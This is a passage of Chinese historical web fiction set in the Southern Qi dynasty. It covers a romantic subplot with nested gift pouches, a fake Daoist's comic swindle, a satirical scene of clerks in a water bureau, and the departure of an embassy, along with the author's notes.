“我是送你礼物,又不是要你花钱......” “那按你的说法,你光送我大黑驹也不够啊,那每个月的草料也得送啊!”王扬说到这儿嘶了一声,自言自语道:“不行,我得赶紧把送乐庞的那几条赤鳞要回来,不然鱼食也是我的事儿了......” 谢星涵忍不住咯咯笑了起来,嗔道:“哎呀你这人怎么这么讨厌!” 王扬正色道:“可不就是这个道理嘛。” 谢星涵知王扬话虽然说得逗趣,但心中自有想法,便不再坚持: “好好好,你既然不领情,那我就告诉你,领头的是两千,其余的一千五。” 王扬虽然有心理准备,但还是超出了预计。 当时底层百姓和军士月薪不过三百上下,仅山阴一县,家产不满三千的就有一半。前朝时荆州有一队主为厚养母亲,自己不吃肉,当时的刺史怜他孝心,赐他每月二斛米、一千钱,米按照当时常价中的顶格来算,一斛一百钱,也就是说,刺史赏给队主一月一千二,算是不少的赏赐了。这四个护卫无官无职便能领一千五到两千,也难怪世家麾下多人才...... 谢星涵决定送这四个护卫的时候便有过考虑:四人光是月钱每个月得支八千钱,一年将近十万,这还不算衣食住行等用度,王扬说不定会有压力。所以她才要代王扬付月俸,至于王扬坚持要自己支付的情况她也考虑过,考虑的结果是也不用太担心。 王扬绸缎生意做那么大,就算是为家族代管,自己手上肯定也有盈余,再加上卖书扇的钱,暂时应付开支是没问题的,并且一万柄折扇已经运到建康开始卖了,顺利的话,王扬能分到五十万钱,几个护卫还是养得起的。不过她还是想帮王扬减轻压力,说道: “我们家人口多,事杂,规矩也多,并且从公中走账,花销上就会松一些,再加上所谓‘颜面’的虚名,所以给的就多了,不是常例。正常的话,月千钱就足够优厚了。你自己单立门户,没我们家那套大而无当的陈规,正好整顿,给八百,给一千,都行。” 王扬沉默片刻,忽地面向谢星涵郑重一揖: “娘子相助之恩,王扬铭记于心。” 谢星涵耳尖微红,“嘁”了一声,小声道:“谁要你记了......” 王扬笑道:“是我自己要记的......诶,你等等,我也送你一样东西。” 说完回卧室内,在谢星涵好奇的目光中,拿了一个锦囊回来。 “这里面是什么?” “送你的,一件有趣的玩意儿。” 谢星涵大感兴趣,伸手便要去取锦囊,王扬不动声色地把锦囊拿开: “你得先答应我,等我出发五天之后,才能打开。” 谢星涵拧眉:“为什么!” 王扬一副高人模样:“天机不可泄露。” “还神神秘秘的......”谢星涵微微歪头,眸底凝着审视的星光,似要穿透锦囊。 “应不应?不应我可就收起来了?”王扬晃了晃手中锦囊。 “别急别急,我想想,想想......” 谢星涵背着手,故作沉思地踱起步来,走了几步,突然回身探手,去抢锦囊! 王扬早有防备,手腕一旋,锦囊已被他藏至身后。谢星涵收势不及,一个踉跄,直愣愣地撞入王扬怀中,额头险些磕上王扬的下巴!只觉自己坠入一片温热之中,心如擂鼓间,已是羞云漫腮。 她慌忙后退,结果绣鞋绊到裙角,险些又要跌倒!连续踉跄几步,这才站稳。想到方才狼狈模样都被王扬看去,恨不得一道雷光打下来当场把自己击碎。 她强装镇定背过身去,羞恼道:“不看就不看,谁稀罕!” 话音刚落,眼前便垂下锦囊,在空中打转。 谢星涵知道王扬在她身后,也不敢回头看王扬,红着两只耳朵,抢过锦囊便跑路。只听王扬在身后叫道:“片言如契——” “岂待驷追!知道了!” 谢星涵胡乱应了一声,仓皇而逃...... ...... 谢星涵逃后,王扬叫来黑汉: “以后你月俸涨到两千八......” 黑汉大惊失色,骇得立马下跪:“公子,这这这如何使得?!” “这有什么使不得的?这么大宅子都是你劳心操持,辛苦了——” 黑汉急道:“这是小人应该做的!公子大恩,小人几世难报!小人不要公子的钱!小人要一辈子跟随公子!一辈子伺候公子!” 王扬笑道:“拿钱又不耽误你跟随......快起来,快起来!咱们之间,不用这样。” 黑汉只觉惭愧欲死,把头死死叩在地上:“这么多钱,小人实在不敢领受!小人根本不值这么多月俸!” 王扬将黑汉扶起,认真说道:“怎么不值?你是我王扬的大管家,身价高着哩!这才哪到哪?以后还要涨!再说,你不得给阿五攒点嫁妆啊?” 黑汉泪流满面,一个八尺高的雄壮大汉,此时抽泣得像个孩子。 王扬拍拍黑汉肩膀:“好了好了。这件事就这么定了,我还有事要让你办......” 黑汉一听公子有事交待,用最快速度擦干眼泪,躬身抱拳,哑声说: “公子吩咐!” 王扬低声黑汉说了一番,然后道: “我就知道这两个人,肯定不全,你去给我找,甭管是走江湖卖艺的,还是自称神仙的街头骗子,但凡能像我说的这样的,便请到家来,如果不来,就加钱,告诉他们,本公子不差钱,只要手上真有活儿,便重赏!” “公子放心,小人这就去!” “嗯,先把谢娘子带的那四个人叫来。” ...... “四位怎么称呼?” 四人依次抱拳,声如金铁交鸣:“小人高飞!”“小人高展!”“小人高举!”“小人高临!” “你们是同族?” 高飞道:“回公子的话,我们不是同族,只是旧主家为了叫着方便,所以改姓高。” “你们想叫回原来的姓吗?还是想继续姓高?” “全凭公子吩咐!” 王扬扫了一眼几人神色,说道:“父母姓氏,不可轻废,你们叫回原来的姓吧。” “赵飞谢公子还姓!” “钱展谢公子还姓!” “孙举谢公子!” “李临谢公子还姓之恩!” 王扬沉吟道:“赵钱孙李......” “在!”四人齐齐抱拳。 王扬笑着挥了挥手:“以后都是自己人了,不用太拘谨。你们之前月俸多少?” 赵飞道:“小人月俸两千钱,另外三人月俸一千五。” 王扬点点头,向赵飞道:“以后你的月俸升为两千五,其余三位各两千。” 四人又惊又喜,赵飞躬身俯首: “我等拜在公子门下,寸功未立,如何当得起如此厚俸?” 王扬摇扇而笑:“能者自当厚俸,等立了功,还有更厚的。” 四人对视一眼,一起下拜道:“愿为公子建功!” 王扬手指轻点桌案,微微一笑:“不急,不急。” ...... 淡烟笼月,深屏绡帐。 帐幔内,谢星涵藕丝薄衫,长发未束,蜷躺在床上,一想到白天自己狼狈的模样,便忍不住来回翻滚...... 真是太丢人了...... 他一定在笑我! 救命啊!!! 谢星涵滚来滚去,白日的场景却愈发清晰:他唇角微挑,眼底噙着几分笑的模样,可恶!他骨节分明的手指故意慢条斯理地晃着锦囊,可恶!!还有那句‘是我自己要记的’,太可恶了!!!还有他的气息,撞进他怀里的时候,嗅到的气—— “啊啊啊啊——” 谢星涵猛地把自己埋进被子里,闷声哀嚎! 小凝听到动静,从隔间的小塌上弹起,慌张赶来,拉开帷帐,焦急询问:“怎么了娘子?怎么了?!” 谢星涵躲在被子里,死活不肯出来。 最后被小凝像刨山药一样刨出了一张红彤彤的小脸。 小凝伸手一摸,吓了一跳:“好烫!我现在去叫医士!” “回来!我没事!” “可是娘子你——” “哎呀我真的没事!”谢星涵只好从被子里钻了出来。 “可你的脸好红好烫!” 谢星涵睁眼说瞎话:“被子捂的啊!” 小凝打量了谢星涵一番,不确定问:“真没事吗?” 谢星涵跪坐在床上,一脸淡定,摆摆手,语气随意道:“没事没事,快回去睡觉吧。” “我先服侍娘子!” 谢星涵只好躺下,任由小凝整理好床榻,给自己盖好被子,然后闭眼装睡。过了一会儿,谢星涵眼帘掀起一丝缝隙,确定小凝已经离开,便悄悄起身,偷偷溜下床,踮脚走到梳妆台前,从妆奁最底层的暗格里,将王扬的锦囊取了出来。 不让我看? 我偏看! 谢星涵开始拆锦囊。 —————— 注:关于月薪一段见93章《乔迁》尾注①,队主事见文后【作者说】。 Ps:这本书出版筹备已经进行一段时间了,最快六月份,第一卷上市。 不过这是最快情况,正常可能得七月吧。签出版的时候我的底线就是不搞签售会什么的,否则不出版。出版社包容了我的“任性”,要求我写一个亲签和特签,然后化一成万,或许还会上一方小印。至于不搞签售的原因一来是没时间,二来写小说如炼大丹,‘只在西南产坤位,慢慢调和入艮宫’,要之需有闲情逸致,清静身心,我闲逸时间本就少,更新又不快,所以不搞了。不过书上市的时候会告诉大家的。 第259章 不似轻絮过帘飞 锦上结,眉间月。 香腮雪,拆囊夜。 谢星涵屏息凝神,面容专注,玉指挑结,素手分缣。 乌发垂泻,不知窗风之骤;银辉漫案,谁觉更漏之深? 丝绳抽出,蓝缎滑开,锦囊中的秘密,终于大白于—— 呃...... 里面是一张字条和一枚—— 小锦囊! 谢星涵一脸问号,拿起字条,借着月光读了起来,上面只有一句话: “片言如契,岂待驷追。” 谢星涵指尖一颤,字条险些脱手。 完了! 被抓住了! 谢星涵脸颊腾地一下烧了起来,仿佛王扬就站在眼前,正似笑非笑地瞧着她违约偷拆锦囊。慌乱之间,也不管三七二十一,把字条胡乱塞回囊中,然后鸵鸟似地捂住脸...... 诶? 谢星涵缓缓从指缝间睁开眼。 这儿又没人,谁知道我拆了锦囊?! 继续拆! 哆哆嗦嗦,谢星涵拆开第二个锦囊,心情激动,锦囊的秘密终于要藏不—— (⊙o⊙) 谢星涵星眸睁大! 里面居然还有一张字条和一枚小锦囊! 字条上仍然只有一句话: “天知地知,你知我知,君子慎独,不欺暗室。” 谢星涵愣了片刻,啪一下把纸条拍在案上: “慎独个头!我是女子!不是君子!” 窸窸窣窣,谢星涵拆开第三个锦囊,志在必得!你有能耐再放—— 还真有啊! 谢星涵惊呆! 纸条上照旧是一句话:“信之一字,岂分男女;一诺既出,何计红妆?” 这家伙好可怕! 谢星涵吓得一哆嗦,颤着小心肝儿把拆的乱七八糟的锦囊字条一股脑地塞了回去,随即颓颓地回到床上,两眼一闭,一头栽进软被。 下一秒星眸大睁! 不对啊!他提前写了这么多字条,这不就是笃定我会违约拆锦囊吗?! 可是万一我不拆呢? 这不就是冤枉了我吗?! 想想看,自己若是老老实实等到他出使五天之后再拆锦囊,然后发现这些字条,自己该多么委屈,多么难过呀! 那时候,自己明明尾生抱柱,一诺千金,但却被如此揣测!如此冤枉!岂不是信而见疑,忠而被谤!冬雷震震夏雨雪!仰天而哭,五月为之下霜!!! 谢星涵越想越带入,只觉荆山泣血,璞玉蒙尘悲卞子;东海含冤,素幡逆血恸苍天!在“莫大冤屈”之下,竟生出一往无前的勇气!猛地掀被而起,直奔锦囊杀去! 关关雎鸠,在河之洲。窈窕锦囊,小谢好逑! 第四个锦囊,不墨叽,直接拉出字条! “拆囊容易守约难,请娘子三思。” 谢星涵咬牙:“三思过了!” 毫不停顿,再拆! “三思不足,当再思。” 别说再思,一百思也拆! “百思未迟,收手不晚,此时回头,方显娘子定力!” 猛拆! “娘子不会拆了,因为娘子是诚实守信的好娘子!” 怒拆! “娘子你控制一下。” 暴拆! “谢星涵快停手!” 狂拆!! 亦余心之所拆兮,虽九拆其犹未悔! 我拆我拆我接着拆! 谢星涵小宇宙熊熊燃烧,双手如飞,一路拆到底,待拆到最后一个时,锦囊已细如杏仁,她用簪子挑开小锦囊,见里面除了一枚卷成细筒的小纸卷外,别无他物。 谢星涵取出纸卷,又倒过锦囊,抖了几抖,确认空空如也后,终于舒了口气,唇角扬起一抹胜利的笑容: “天机不可泄露?呵!我今天偏要泄你的天机!” 她小心翼翼地展开那纸卷,低头凑近,上面是一行细如蚊足的小字: “露垂垂,且回回,不似轻絮过帘飞。” ??? 谢星涵又读了一遍。 ?????? 她把纸条翻来覆去地查看,又对着月光透视——可除了这十三个字外,确实再无一笔一墨! 谢星涵唇瓣抿起,嘴角一点点往下撇。 天机读不懂, 小谢想哭...... ....... 晌午,如意楼雅间内,一桌子菜肴已被吃得七七八八。桌案后端坐着一个面容清癯的白衣道士,青丝束发,木簪斜插,衣袂上有阵图暗绣,举手投足间自有一派不食人间烟火的清逸。可身旁搁着的包袱却是上好的绸缎所制,青底暗纹,崭新发亮,与他一身道骨仙风极不相称。 此刻,道士双目微阖,手指悬在半空,正飞速掐算。 乐庞紧盯道士,喉结滚动,额角已渗出细汗。 道士的指间突然停住,眉头一颤,眼皮下眼珠滚动,仿佛窥见了什么玄机,表情极其郑重。 乐小胖紧张问道:“如何了?” 道士缓缓睁开眼睛,看着乐小胖,也不开口,只是眉头紧皱。 乐小胖急道:“到底如何了,道长说句话啊!” 道士依旧不语,只是盯着乐庞,左看右看,一副忧心忡忡的模样,直到把乐小胖看毛了,猛地一拍桌案,道士才缓缓开口道:“公子要听真话?” “当然!道长赶紧说!” “我若是直言而陈,恐冒犯公子。” 乐小胖一挥手:“没事没事,你照实说!” 道士一脸凝重:“公子天罡贯指,鬼伯催命,煞气之重,已至两魂离窍,凶险至极。” 乐小胖脸色刷的一变:“你是怎么看出来的?作法请字的时候不是只是说‘不妙’吗?现在怎么又成凶险至极了?!” “请字观的是阳世因果,方才推的是阴司命数。” 道士左手掐子午诀,右手排三传,沉声道: “日辰申酉金旺,三传寅卯辰会东方木局,本主春生之象,然申酉乘白虎发用,金刃克木,生机受制——” 忽地指节一顿,倒吸一口凉气: “更兼末传辰土落空亡,帘幕贵人临墓,天罡指阴。” 道士指诀变为伏吟式,四指关节疾速推演,面容冷峻: “今课传逆间,鬼爻发用而子孙不入课,阴见太常披孝,此已非寻常因果,乃幽冥见召之兆。” 乐小胖虽然一个字没听懂,但已吓得浑身冰凉,道士说的话固然可以胡编,但那化符成字的本事他可是亲眼见到的!正惶惑不知所以时,道士不知从哪变出了个白碗,放到桌上,神色肃穆道: “此乃师门所传阴阳显煞盏,能辨凶煞。寻常人向内注水,便如一般盛水器皿......”说着取过自己的水壶,倒入碗中,推给乐小胖观看,果然毫无异状。 “......但若被阴煞缠身之人注水,便会显出征兆。” 道士举起白碗,利落地向后一泼,随即用手帕擦干碗中水,重新放到乐小胖面前,又把水壶一递:“公子可以一试。” 乐小胖拿起水壶,颤颤巍巍地向碗里倒水,可原本清清亮亮的清水,竟在入碗的瞬间,化作猩红血水! 道士叹了口气,摇摇头:“血光映煞,尸衣加身,凶不可言......” 乐小胖两股战战,语带哭腔:“上仙救我!!!” 道士眉头深锁,一张脸仿佛压着千钧重担:“此事殊为不易。戌亥天门开,阴煞乘白虎而下,便是我师尊在此,恐怕也要耗费三年的功力......” 乐小胖掏出所有的钱,颤抖着推到道士面前:“上仙救我!只要能救我,多少钱我都愿意出!” 道士眉间蹙起极浅的纹路,摇头道:“钱财乃身外之物,我方外之人,要之何用?” 他边说边把钱袋揣入怀中,面沉如水,仿佛自言自语一般:“只是这化解之法极为凶险,需以‘替身符’引开那缠身的阴煞,最好是随身的玉佩.......” “有有有!”乐庞赶忙解下玉佩,呈了上去。 道士接过玉佩,长叹一声: “罢了!我辈修道之人,既遇邪魔作祟,岂能袖手观之?贫道便以自身为引,与那凶煞一战吧!”说罢,大义凛然地将玉佩放入怀中。 乐庞眼眶瞬间红了,望着道士,甚感崇敬。 ...... 乐小胖解了煞之后,浑身轻松,直奔王扬家,给王扬送请帖和乐夫人准备的“行装之助”,盒子堆得满满一大车,里面都是出行的实用物件,光药物就备了十几种。其他像披风、水囊、干粮、蚊帐什么的,不一而足,连马车里的垫褥都备下了,最下用竹篾织席,其次是芦苇絮、蒲绒和苎麻布三层压实,再上才放软褥,铺以绢丝,以防长途颠簸,可谓周到至极。 王扬本来打算杜门不出,熟练新学的“技艺”,可乐家如此盛情,王扬实在难拒,便一口答应晚上去赴乐家的饯席。乐小胖又心血来潮,提出要随王扬一道出使,好好玩上一遭。王扬赶紧劝住。 一来不想让朋友卷入是非危险之中,二来乐家虽然和自己交情很好,但乐湛毕竟是荆州别驾,人在官场,身居高位,考量自然也多。上次可以引乐湛对付刘寅,一是刘寅犯法在先,合围已定,正是万事俱备之时,乐湛末了加一把柴,不担风险。 二是刘寅是府官之首,乐湛是州官之首,州府相争,本有矛盾。所以可以借力打力,这对于王扬来说是顺势而为,对于乐湛同样如此。 但这次不一样,使团遇袭,事何其大?庾易在野之人,静室内两人相对,仍不敢明言其事,换作乐湛得知此事,先不说是否敢暗中派人入局,就说能否保证守口如瓶,密不上报,都不好说。 这可是天大的干系,有可能要赌上政治前途的。王扬没有把握可以拉乐湛入伙,所以尽管他和乐家情谊不浅,尽管他需要再多来一重保障,但他在谋划准备时,仍然没有引用乐家助力。 挚友未必皆可共谋,情深未必尽能托事。譬如良木虽坚,不堪为舟;骏马虽捷,不宜耕田。 智者临事,当如寒江独钓,愈冷愈稳;峭壁徐行,愈险愈慎。 察其位,衡其势,度其能,量其责,不可因情谊而蔽智,累己误人。 王扬正和小胖说话间,小阿五来禀,说黄先到了,王扬就让阿五把黄先带进来。乐小胖和黄先相见,两人都傻了眼。 乐小胖吓得腿都软了,嘴唇哆嗦着:“上仙何以至此?难道是我煞气还没解干净吗?” 黄先神色尴尬,偷偷看向王扬。 王扬不用问都知道怎么回事,给黄先介绍道:“这是我好友。” 黄先赶忙取出钱袋玉佩,塞到乐庞手中,连连作揖: “小道该死!小道该死!不知您老与吾师这般交情,得罪得罪。” 乐小胖目瞪口呆:吾......吾师???? 王扬无语:“你可别瞎叫,谁是你师?” 黄先执弟子礼,恭敬答道:“既蒙指点,敢不师事?” “那你也教我了,你的意思是也当我老师呗?” 黄先立马奉上一波马屁:“不敢不敢,小道演示的是不入流的小把戏,公子术法神玄,学通三式,才是大道啊——” “打住,说正事,衣服弄好了?” “好了好了。”黄先将怀中的绸缎包袱双手捧上。 “不会漏吧?” “不会不会,装六七袋也没问题,只是您老要多熟悉一下位置动作,这样速度会更快。您老试试看,有什么不满意的,尽管吩咐小道!” 乐小胖见上仙在王扬面前点头哈腰的谄媚模样,只觉三观尽碎,道心崩塌。 第260章 何必送目 这是往常的一天。 这一天,某位玛雅首领正酝酿将他的驻地迁移到一个名为“众水之地”(帕伦克)的地方;而重洋之外的东哥特国王正带领大军穿过晨雾,辛苦转战于北意大利;平壤王宫里,九十六岁的高句丽老王在床榻上照常睁开眼睛;黄河之北,拓跋魏未届高龄但却同样年寿无几的太皇太后,则盘算着携年轻的天子前往方山,亲自检视她的陵寝。 这一天是公元四百九十年八月一日,南齐使团正式出发前往汾阳峡。 这一天,太阳照常升起。 ...... 阳光照在漆色斑驳的匾额上,“水曹参军司”五个字早已褪了金粉,两扇榆木门半敞着,完全不见门卒踪影。庭中也是一样的门可罗雀,两边草间散落着铁锸木夯等器具,廊下挂着几条不知是谁顺手晾的干鱼,堂上三个令史(科员),两个年长的在闲聊,一个年轻的抄文书。 “......就得分你怎么看了,好升迁的,功曹(组织|部)、录事(两办)、记室(省|厅秘书处);待遇好的,户曹(户政+税|务)、田曹(国|土资源);有实权的,法曹、禁防;这些是美缺,但你看这次倒的一批,都是这里面的,哦,还有刑狱,之前狱曹这群人一个个都牛成什么样子了?现在最倒霉就是他们。” (这人说的各曹都隶属军府,也就是长史下属各曹,非州府别驾之下的衙署) 同僚慢悠悠地磨着墨,接口说: “所以说啊,这官场上的路,跟咱们测渠其实是一个理,看着渠面平,底下指不定藏着什么坎。录事、记室是风光,可站错一步可能就是大祸;户曹田曹经手是多,但经手越多越容易沾泥......” 他说到这儿啧了一声,感慨道: “真的,有多大能耐吃多大碗饭,祖上没姓,后面没人,别往那些要害处凑,凑上了也是垫背的,没什么意思,知道不郭儿?” 他看向年轻令史: “别总看那些大人们的资簿履历什么的,对你真没什么好处。就把自己当佣工,干活拿钱就完了,何况还比佣工轻松,很多时候不干活也能拿钱。想简单点,你,对咱家,都好。你看那位长史大人,现在就是参军大人了,之前当长史的时候,天不亮就起,一直忙到亥时,有时干脆宿在府衙公堂,你看现在呢,来过几次水曹?管过事吗?这是真看开了......” 年轻令史停笔,无奈应道:“知道了舅。” 那人瞪眼道:“在官署呢,乱叫什么!” 年轻令史敷衍着拖长声道:“知道了,蒋曹掾。” 蒋令史对同僚叹道:“这小子不让人省心,也不知道听没听进去。” “年轻嘛,心气高,总愿意折腾一下。”同僚向年轻令史道:“你舅舅说得对,叔再教你八个字,无欲无求,颐养身心,你记住这个八个字,就能活舒服了。” 年轻令史对着外人还是很有礼貌的,马上拱手道:“多谢李叔教诲。” 同僚对蒋令史笑道:“是个聪明孩子,你放心吧,这外甥差不了。” 两人又闲扯了一会儿,年轻令史抄完文书,呈给两人。 两个令史仔仔细细地看过,然后各自签画押印。年轻令史拿着公函就要出门,蒋令史马上叫住:“你干嘛去?” “交录事府啊。” “他们什么时候要?” “四天后。” “现在是第几天?” 年轻令史想了想:“......第二天?” “那你着什么急?” 年轻令史疑惑道:“早送不是早完事吗?” 蒋令史和同僚相视一笑。 年轻令史不解。 同僚笑道:“贤侄啊,类似这种事儿,你要到最后一天才交的。你交得早了,上面或者挑错返工,或者认为你有余力,再给你加派别的事儿,你干得越多,鞭子越快;使得越顺手,越要顺手使。劳累不说,做得越多,错的机会也就越多,到时吃亏的还是自己。” 年轻令史面现犹豫之色:“可......可这江道壅堵越来越严重,尤其江津渡,上月末有一艘货船险些搁浅,再耽误下去,万一出了事故......” 蒋令史哼了一声:“你以为提前把这个报上去了,就能马上有处置?一个壅堵两三个月了都没人管,咱们参军大人又不视事,水曹谁能和上面说得上话?且有的等呢!再说渡口那儿有些泥沙淤积,又不是主航道,最多碰漏了船,离岸又那么近,出不了什么大事。就算真出了......” 蒋令史顿了顿:“你以为我七月中又递申支工直牒(要钱),又乞杂用料物帖(要物),又催中记室(记室之下,也是省厅)回文的,是给自己找不自在啊!” 年轻令史恍然而悟:“......那给都水令(主管领导)的勘验呈文也压最后一天送?” 蒋令史正色道:“那不行!给都水令的你要提前,五天后要的话你就第四天给,得留一天修改,咱们这位刘都不懂水务,所以喜欢挑字句,你偶尔留上一两处破绽让他指点,然后你再心悦诚服,这样刘都满意,你也少费功夫。不然刘都较起真儿起来,胡乱评议一番,你就不是改一两句的事,重写都有可能。” “原来如此......”年轻令史声音里带着初窥门径的恍然,又似乎有几分说不清道不明的失落。 蒋令史一眼便看出外甥此刻的心情,也不点破,只是提醒道: “破绽不要太笨,错字错句万不可有,要高明一些的,比如......” 同僚悠然续道:“比如你写‘此系积淤’,等刘都添上‘历年’二字之后,你就可以‘自愧弗如’一番了。” 两个令史眯眼轻笑...... 不,是三个令史在笑。 ...... 荆州,当阳县,天门阊。 阊者,门也。门中有门,天门之门,是谓天门阊。 外门两山遥峙,衔天含日,接千里之风入彀; 内门双峰近扼,吞云接汉,纳九霄之气于中。 晨光初镀,金辉漫洒门楣,恍若帝阍晨启; 宿雾渐收,银绦轻浮户牖,彷佛天阙帷开。 天阙之下,南齐使团,浩浩荡荡,行经天门。 前驱枪矛开道,刃锋所指,壁上折出寒光千道;后翼朱幡压阵,旗影过处,崖间惊起栖鹰数双。州兵分于前后,禁军列于中央,甲士三十二,骑卫三十六,弩手二十一,四方护住使团。 最中间的两辆车并行,左车十二名台使仗身(钦差侍卫)环绕,白衣似练;右车王家四卫护持,黑裳如漆。 车帷低垂,王扬倚在乐夫人精心准备的软褥上,吃着谢星涵送的白雪红玉龙须卷,悠哉悠哉地读《潘勖集》。 准确来说他不是读,而是背,在车上读书是很费眼睛的,但背就不一样了,扫一眼,字现于心中,然后合书而诵。王扬大三去杭|州玩的时候,曾用这个办法在大巴车上诵完陈寅恪的《王观堂先生挽词》,又在去绍兴的时候续诵王国维的《颐和园词》,下车之后,携陈、王两先生的文气游览湖光山色,泛西湖,舟上得《八声甘州》一阙;入沈园,咏黄藤酒连作四首,两个字——爽飞。 陈青珊坐在王扬旁边,捧着盛龙须卷的食盒,也不吃东西,总是转头看车外,显得有些神色不宁。 王扬无奈笑道:“小珊啊,你放松点,不是说了嘛,等到地方我告诉你。” 小珊手指微微发紧:“可是......万一有人偷槊呢?” 王扬为了带着方便,让人在车壁外做了个槊架,然后说笑般给陈青珊讲了《三国演义》中胡车儿盗戟的故事。结果陈青珊听完之后就作了病,晚上宿营时竟执意要睡在车辕旁,王扬哭笑不得:“你与其睡槊旁边,不如让槊睡你旁边,你真要放心不下,卸下来抱着睡不就完了嘛。” 结果陈青珊还真就抱着槊睡的...... 王扬正准备再给陈青珊讲个故事,把这个偷槊的阴影覆盖掉,结果车外传来王揖的声音:“之颜呐!别藏着了!快下车换马!如此奇景,你我不得欣赏吟咏一番?” 王扬听到这句话彷佛回到了四天前出发的时候,头一天几乎都是跟王揖在马上度过的,两人吟风谈赋,开销白日,确实不错。后来王扬倦了回车内,结果王揖连番来邀,一开始王扬还陪了几次,可特么总来叫,一天四五趟,这谁能受得了? 王揖一不是美人,二不是基友,又没《潘勖集》的魅力大,何况王扬对此还怀有戒心,怕再来个冷箭什么的,所以就开始花式推辞,而王揖则锲而不舍,花式来请。 “过一次当阳县,天门阊不看啊!” “掀帘看过了......” 王揖叩壁催叫:“那看能看好吗?足履实地,方知造化。步移景换,始得真趣!” 王扬应声对道:“能看好啊!心游万仞,何须足履?卧览云山,亦是逍遥。” “......” “之颜你先下车,咱这回玩个有趣的!连环令!每人两句,每句三字。一三押,二四押,连环不断,专咏胜景!看我的啊:荆楚穹,天门阊。你下来,咱们送目成咏!” 王扬执卷而笑: “胜景在心,何必送目?昆仑峰,峨眉霜。华山松,巫峡江。武陵峒,黄山嶂。蓬莱宫,雁云荡。姑苏钟,洞庭樯。建业艟,广陵艡。天台蛩,终南菖。潇湘虹,苍梧光。阿叔你对完这八联,我立马下车,咱们接着对。” 王揖出师未捷,直接败退...... —————— 正文3247字。 注:①帕伦克是玛雅古城之一,玛雅原名叫Lakam’ha,意思是有很多水的地方,现藏帕伦克遗址博物馆中的雕刻嵌板(见下图)记载了490年8月25日迁都之事,是为伦帕克王朝的前身。 图片引自Skidmore, Joel. The Rulers of Palenque. Mesowe (格式不支持加斜,接上图Mesoweb Publications, 2010, p. 18) ②或许有小伙伴会对水曹那段情节不理解,我稍微解释一下,一方面我写剧情中一些关键的点时很少会做说明书似的描述,直接写a是如何如何,b是如何如何,就像王揖,我从来没直接写过王揖是哪一派的人,他倾向是什么,他的目的又是什么?但只要读完他和萧宝月寺庙中的对谈,即便读得浅的也能知道一点,读得深的了解就更多了。 像今天水曹衙门里的对话,一些点比如刘寅派遭清洗,由此引申的那清洗者谁?有清洗就有换人,换人的目的又是什么等等还有其他点都是埋在这个对话里的,有些点要贯通前后文才会看的更明白,比如之前萧宝月和王揖对话中提到的那个天子问丘雄的情节,有些则要以多米诺骨牌式的链锁反应看才更明晰。比如刘寅帮巴东王收生意,由此导致他没时间也没心思理会水曹这种小事,因为不理会所以才能引发现本章中水曹衙门发生的场景,而此场景又会——不剧透。 另一方面我的写作主旨一直是活在南齐,像旅行,或者说旅居。 旅游的重点是感受,而不是说知道今天先去明孝陵,然后去夫子庙,然后去秦淮河,最后去博物院这个结果就over了,知道结果没有意义。体验结果之前的过程,去经历,去感受才是最重要的。所以我各方面的细节骨架都会一点点渗透搭建,就像水曹这一段,不光包含几个点,还在填充架构,在写世情。 我会像做雕刻一样,一点一点刻,直到刻成一个既雄阔万里,又细腻肌理的历史世界为止。 并且我不拿全勤,从开始到现在一次也没拿过,至于建立在全勤基础上的那些奖励也与我无缘。我若不求精审,随便写点啥,全勤水之如反掌!但我不愿如此。我也没有更新任务,更不更又没人管。当然,读者会心焦,这个我管!呃......尽量管(小声) 所以字数多少什么的对我没意义,我每章字数从来都是根据情节定的,不算注,只算正文,少的也在两千五以上,多的将近四千,多的时候我若把四千分成两章,一章两千,也算一天两更,但我也不愿如此。所以我是不会为了字数随便写一段磨洋工的情节的,那不如不写,是游戏不香还是电影不好看...... 注也不是随便加的,随便能查的我从来不加,有时违和的我也不加,就像制冰那个注,古埃及和波斯人造冰那段其实就是引自英文文献,但我觉得我引了没必要,容易被误会成炫博,所以就把来源删了,像今天这个玛雅注如果不是为了用这个学者的图,我也不会引的...... 总之吧,如果我写了就一定有用意,知我意者奉上座!不知我意者!!! 也奉上座...... 谁让是我可爱的读者呢╭( ̄▽ ̄)╯ 有点累了,忙完这阵儿可能会休息几天,不过落实到更新,就算延也就是延一天,至今为止更的最迟也就是少数几次三天一更,其实真正无更的只有两天,这个纪录我会尽量保持…… 第261章 汤汤 “我知道了。” 小凝缓缓抬头,神色深沉。 谢星涵正伏在案上,整个人蔫得像霜打的茄子,闻言精神一振,忙直起腰身,惊喜道: “你猜出来了?” 小凝点点头,下颌微扬间带起几分洞悉分明的气势,眼底闪过智慧的光芒: “这是暗语,解此暗语的线索,不在纸条上,而在王公子的话中。” 谢星涵一直反复揣摩纸条上的十三个字,却从来没像小凝这样想过,听了这话,顿时如暗室得明,迷途遇径!激动道: “小凝你真是个天才!快告诉我!线索在哪句话中?” 福尔摩斯凝微微一笑:“娘子还记得王公子把锦囊交给娘子时的嘱咐吗?” 谢星涵蹙眉回忆:“......天机不可泄露?” “不是这句。” “那......” “公子让你五日后再打开锦囊。” “对对!”谢星涵星眸一亮。 小凝眯起眼睛,伸出五根手指: “这个‘五’字是关键!王公子的意思是,让娘子留心纸条上第五个字!” 谢星涵吃惊地吸了口气:“第五个字是......” 小凝意气风发: “不错!第五字正是‘回’字! ‘露垂垂,且回回’的回! 王公子想告诉娘子—— 他, 会回来的!!!” 谢星涵张着嘴,本要溢出的惊叹声瞬间卡住,僵在原地。 小凝开发了解谜的“新爱好”,还沉浸在“破译”的兴奋中,啧啧道: “王公子这个谜题留得真是巧妙!不过‘回回’两字连用,似别有用意,有可能说明他不仅会回来,还会回来两次!” 谢星涵: (→_→) “娘子你怎么了?” “......” “其实小凝也是偶然猜中的,算不得什么的......” “快去拿头撞被子。” “啊?” “去吧去吧!” “哦。” 谢星涵生无可恋地瘫回案上,心道这什么破谜题真是可恶!可不知道出这破谜题的可恶家伙现在正在做什么...... ...... 遥峰隐雾,孤峡云簇。 鱼腹峪外,使团停下休整。 王扬下了车,正站在一块大石后,活动筋骨,陈青珊持槊立于王扬身侧。 唇若朱砂点剑,闭则成刃;目如黑曜淬光,瞬而穿云。 劲腰挺束,不藏越女之韵;利腕悬凝,又生汉将之风。 王家四卫分站四角,按刀环视,见王揖走来,四卫躬身问礼,却不让开。王扬笑道:“阿叔来了。” 四卫这才让出一条路来,让王揖靠近。 王揖手摸巨石,笑呵呵道:“之颜怎么站这儿来了?” 王扬微微欠身拱手: “侄儿身子骨弱,站这儿避避风。阿叔身体可好些了?” 